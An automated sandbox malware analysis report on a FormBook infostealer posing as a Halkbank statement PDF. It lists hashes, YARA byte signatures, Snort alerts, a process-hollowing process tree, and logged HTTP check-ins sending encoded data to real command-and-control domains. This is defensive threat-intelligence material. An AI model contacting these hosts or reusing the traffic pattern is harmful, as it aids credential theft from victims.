Edit tour

Windows Analysis Report
Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Overview

General Information

Sample Name:	Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe
Analysis ID:	811929
MD5:	0d84005af71574a568567967e666cda5
SHA1:	22bd76803c3d004f48be0b25ba0ec1920ccc3360
SHA256:	05977847b0408ec1abb7b4cd05ad10b4004c97d5c949e579d695d47518f4f376
Tags:	exe
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Snort IDS alert for network traffic

Sample uses process hollowing technique

Tries to steal Mail credentials (via file / registry access)

Maps a DLL or memory area into another process

Machine Learning detection for sample

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Tries to harvest and steal browser information (history, passwords, etc)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Contains functionality to shutdown / reboot the system

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

HTTP GET or POST without a user agent

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality for read data from the clipboard

Classification

Process Tree

System is w10x64

Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe (PID: 2064 cmdline: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe MD5: 0D84005AF71574A568567967E666CDA5)

vokkqsp.exe (PID: 1240 cmdline: "C:\Users\user\AppData\Local\Temp\vokkqsp.exe" C:\Users\user\AppData\Local\Temp\kxgycvzd.lwf MD5: D2FAF24547268D9525AE7E78CD4DE87A)

conhost.exe (PID: 5584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vokkqsp.exe (PID: 2448 cmdline: C:\Users\user\AppData\Local\Temp\vokkqsp.exe MD5: D2FAF24547268D9525AE7E78CD4DE87A)

explorer.exe (PID: 3528 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

colorcpl.exe (PID: 5260 cmdline: C:\Windows\SysWOW64\colorcpl.exe MD5: 746F3B5E7652EA0766BA10414D317981)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://asec.ahnlab.com/en/32149/ https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x18307:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x18105:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17ba1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x18207:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1837f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x20e83:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xcc02:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x1a0ba:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x19eb8:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x19954:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x19fba:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1a132:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xc7cd:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x18b9f:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1fc2a:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x20bdd:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x18307:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x18105:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17ba1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x18207:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1837f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x18307:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x18105:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17ba1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x18207:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1837f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x18307:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x18105:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17ba1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x18207:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1837f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x1f0d0:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xae4f:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x18307:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x18105:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x17ba1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x18207:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1837f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xaa1a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x16dec:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1de77:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1ee2a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
Click to see the 13 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.vokkqsp.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
3.2.vokkqsp.exe.400000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x20083:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xbe02:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x192ba:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
3.2.vokkqsp.exe.400000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x190b8:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x18b54:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x191ba:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x19332:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xb9cd:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x17d9f:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1ee2a:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1fddd:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
3.2.vokkqsp.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
3.2.vokkqsp.exe.400000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x20e83:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xcc02:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x1a0ba:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
3.2.vokkqsp.exe.400000.0.raw.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x19eb8:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x19954:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x19fba:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1a132:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xc7cd:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x18b9f:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0x1fc2a:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x20bdd:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
Click to see the 1 entries

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 198.54.117.212

Timestamp:	192.168.2.4198.54.117.21249703802031449 02/20/23-11:24:46.771477
SID:	2031449
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 198.54.117.212

Timestamp:	192.168.2.4198.54.117.21249703802031412 02/20/23-11:24:46.771477
SID:	2031412
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.4 - Destination IP: 198.54.117.212

Timestamp:	192.168.2.4198.54.117.21249703802031453 02/20/23-11:24:46.771477
SID:	2031453
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET DNS Query to a *.top domain - Likely Hostile - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.856572532023883 02/20/23-11:23:29.507639
SID:	2023883
Source Port:	56572
Destination Port:	53
Protocol:	UDP
Classtype:	Potentially Bad Traffic

HTTP traffic detected: POST /ghii/ HTTP/1.1Host: www.energybig.xyzConnection: closeContent-Length: 185Cache-Control: no-cacheOrigin: http://www.energybig.xyzUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Type: application/x-www-form-urlencodedAccept: */*Referer: http://www.energybig.xyz/ghii/Accept-Language: en-USAccept-Encoding: gzip, deflateData Raw: 31 4c 4d 3d 4b 75 47 55 64 7a 32 39 51 61 76 34 54 6a 52 59 70 51 55 4d 57 62 6d 6d 78 61 4d 6b 79 5f 39 55 4e 6c 47 4b 61 56 4c 4b 45 49 63 36 6f 61 33 38 41 59 4f 7a 63 75 63 4f 67 76 50 7a 63 6a 32 59 63 59 75 70 38 5f 51 4d 71 55 61 38 69 69 71 32 38 63 37 5a 75 59 45 6c 68 79 38 6f 30 4f 39 71 50 67 4b 52 43 6c 57 50 30 65 39 31 6f 2d 6a 4c 48 4f 6c 4d 6d 79 41 46 70 56 46 6b 35 37 6b 5f 63 56 30 79 57 41 48 53 4d 39 63 35 69 59 46 42 54 43 61 63 43 4a 41 71 76 56 47 2d 57 30 44 34 78 68 34 74 48 62 65 63 57 2d 5a 4f 44 76 36 55 55 41 29 2e 00 00 00 00 00 00 00 00 Data Ascii: 1LM=KuGUdz29Qav4TjRYpQUMWbmmxaMky_9UNlGKaVLKEIc6oa38AYOzcucOgvPzcj2YcYup8_QMqUa8iiq28c7ZuYElhy8o0O9qPgKRClWP0e91o-jLHOlMmyAFpVFk57k_cV0yWAHSM9c5iYFBTCacCJAqvVG-W0D4xh4tHbecW-ZODv6UUA).

Source: unknown

DNS traffic detected: queries for: www.wenzid4.top

Source: global traffic	HTTP traffic detected: GET /ghii/?1LM=MOY5/0rZkCSn1x8B5kGxcu4kjN12BC26NMBU4rUAiJ09dU/WDm+Fx0Du9tK3DtQGeLOXEwxSHBLi0tUrRAF6AgWuiPHLLIEAEQ==&kTj=94JTJ5e-oG HTTP/1.1Host: www.wenzid4.topConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ghii/?1LM=Hsu0eFbPaPXvQj1driY9Qb+UxIEGydZDMi24Zx/KBNJzrILAD6eOCtsvvO79CgG5LYmF38wKy0LUujLv+r7tqaEj2Tcyyr5eEg==&kTj=94JTJ5e-oG HTTP/1.1Host: www.energybig.xyzConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ghii/?1LM=b9pmEiWE3A9hICRLJ48/0GIWTdcguNEQkRUuEoMGZR2jfpcIS7+82C+h9uoa2hbDMoucG0FStkg6AqIGzw0t5RnkbE2XBG6Jig==&kTj=94JTJ5e-oG HTTP/1.1Host: www.genuineinsights.cloudConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ghii/?1LM=mbPzPtZ0Er8L5pad82wwGh9ocqcT3a4VC5lEcjpUbblZCC9rEfNiJ4Zzn4lMJLJJ2TaA1od8FsE8LCEUSFIleqyuhYHktxRXxg==&kTj=94JTJ5e-oG HTTP/1.1Host: www.octohoki.netConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /ghii/?1LM=nNwsU5RDSztrDyxRHILLs79A8ojzBVjbvYOj2DqB/Q3esj8ZmeFlGSz1p8lC+bcuH8jypYjqHnnMah8No3XpEJ5LEY61yEIXoQ==&kTj=94JTJ5e-oG HTTP/1.1Host: www.ladybillplanet.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Source: C:\Users\user\Desktop\Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Code function: 0_2_00405809 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00405809

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 3.2.vokkqsp.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.vokkqsp.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 3.2.vokkqsp.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 3.2.vokkqsp.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.vokkqsp.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 3.2.vokkqsp.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.568031477.0000000001240000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.344609982.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.567461782.0000000000DB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com

Source: Halkbank_Ekstre_20191102_073809_405251-PDF.com.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: 3.2.vokkqsp.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 3.2.vokkqsp.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.vokkqsp.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 3.2.vokkqsp.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.344373835.00000000004F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000003.00000002.343757379.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000005.00000002.568126505.0000000001270000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
